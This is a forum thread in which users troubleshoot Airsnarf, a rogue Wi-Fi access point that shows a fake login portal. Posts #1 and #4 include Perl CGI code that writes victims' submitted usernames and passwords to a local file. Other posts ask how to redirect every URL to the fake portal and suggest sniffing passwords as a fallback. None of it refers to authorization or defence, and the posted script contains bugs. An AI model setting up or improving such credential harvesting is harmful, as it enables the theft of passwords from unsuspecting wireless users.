Results 1 to 5 of 5

Thread: Saving passwords with Airsnarf

  1. #1
    Junior Member
    Join Date
    Aug 2007
    Posts
    36

    Default Saving passwords with Airsnarf

    So, I've got Airsnarf running, but can't for the life of me figure out how to get it to save passwords to a file instead of emailing them.

    I've looked through the forum and found one snippet of code:

    open (MYFILE, '>>/tmp/airsnarf_pwds.txt');
    foreach $key (keys(%FORM)) {
    print MYFILE "$key = $FORM{$key}\n";
    print MYFILE "----------------------\n";
    }
    close (MYFILE)


    I created the txt file and added that code to the airsnarf.cgi file(while commenting out the sendmail portion) and didn't get anything.


    I also found a cool article over at ethicalhacker.net and found this screenshot of their cgi file.
    ethicalhacker.net/images/stories/columns/hoffman/july06/2.jpg

    I put that code in my file and still no go.

    Any suggestions?




    Another thing was the dns redirect. It only works if the url they are trying to reach is at the root directory of the server. As in, mail.google.com works, but going to mail.google.com/mail results in a 404 error.
    Is there any way to make it so that ALL URL's are redirected?

    Thanks for the help.

  2. #2
    Member imported_blackfoot's Avatar
    Join Date
    Jun 2007
    Posts
    386

    Default incomplete perl

    I am not familiar with the script you mention (airsnarf).

    However I can see that your amended perl code does not include any parsing to put the password data into a form (array) which you are attempting to append/save.

    I looked at the image you presented by another author. That script clearly parses the passwords first and then saves. Ensure that your amended airsnarf parses in the same/similar way.

    Further, it might be prudent to include a 'print' statement to aid debugging to print the passwords to your screen as they are retrieved and then attempt to complete your code.

    The principal reason for the email facility must surely be that passwords or similar data sets are infrequent and that the script can be left to run (as a background process) for a timely period to harvest data over a long term.
    Lux sit

  3. #3
    Senior Member PrairieFire's Avatar
    Join Date
    Apr 2007
    Posts
    705

    Default

    The problem is the text is not being saved into the file. It transmits the text as wireshark can prove this.
    Μολὼν λαβέ - Great spirits encounter heavy opposition from mediocre minds.

  4. #4
    Junior Member
    Join Date
    Aug 2007
    Posts
    36

    Default

    Well, thanks for the reply. I looked through the code and, as far as I can tell, it's the exact same as the link I included. One thing I did notice is that the script would result in an error if I included the "or dienice" portion of the script.

    Here's my entire airsnarf.cgi contents:

    Code:
    #!/usr/bin/perl
    # chmod +x this file and stick it in your cgi-bin directory
    
    # CHANGE THESE VARIABLES $page_title $page_message $page_image $airsnarfs
    $page_title = "Airsnarf - Thank you!";
    $page_message = "Thanks for letting us own you!";
    $page_image = "airsnarf.jpg";
    
    $airsnarfs = "airsnarfs.txt";
    
    print "Content-type:text/html\n\n";
    
    read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
    @pairs = split(/&/, $buffer);
    foreach $pair (@pairs) {
        ($name, $value) = split(/=/, $pair);
        $value =~ tr/+/ /;
        $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
        $FORM{$name} = $value;
    }
    
    open (PASSWORDS, ">>$airsnarfs");
    print PASSWORDS "site = $ENV{SERVER_NAME}";
    foreach $key (reverse sort keys(%FORM)) {
        print PASSWORDS ", $key = $FORM{key}";
    }
    print PASSWORDS "/n";
    close(PASSWORDS);
    
    # return HTML message to user
    print "<html><head><title>$page_title</title></head><body>";
    print "<center>";
    print "<img src=\"/$page_image\"><br><br>";
    print "$page_message<br><br>\n";
    print "</body></html>";


    If anyone has suggestions, I really appreciate it.
    Otherwise I can always just run a sniffer to capture the passwords.

  5. #5
    Junior Member jonah_15's Avatar
    Join Date
    Jan 2010
    Posts
    25

    Smile Saving passwords with Airsnarf

    Hope this helps someone out as I had the same issue as you.

    All I did to get it saving to a file was download the Airsnarf package for Windows from shmoo

    Extract the airsnarf.cgi file into your cgi-bin directory (it's a different file from the one in the unix tar) chmod +x airsnarf.cgi

    It should now be saving to passwords.txt

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •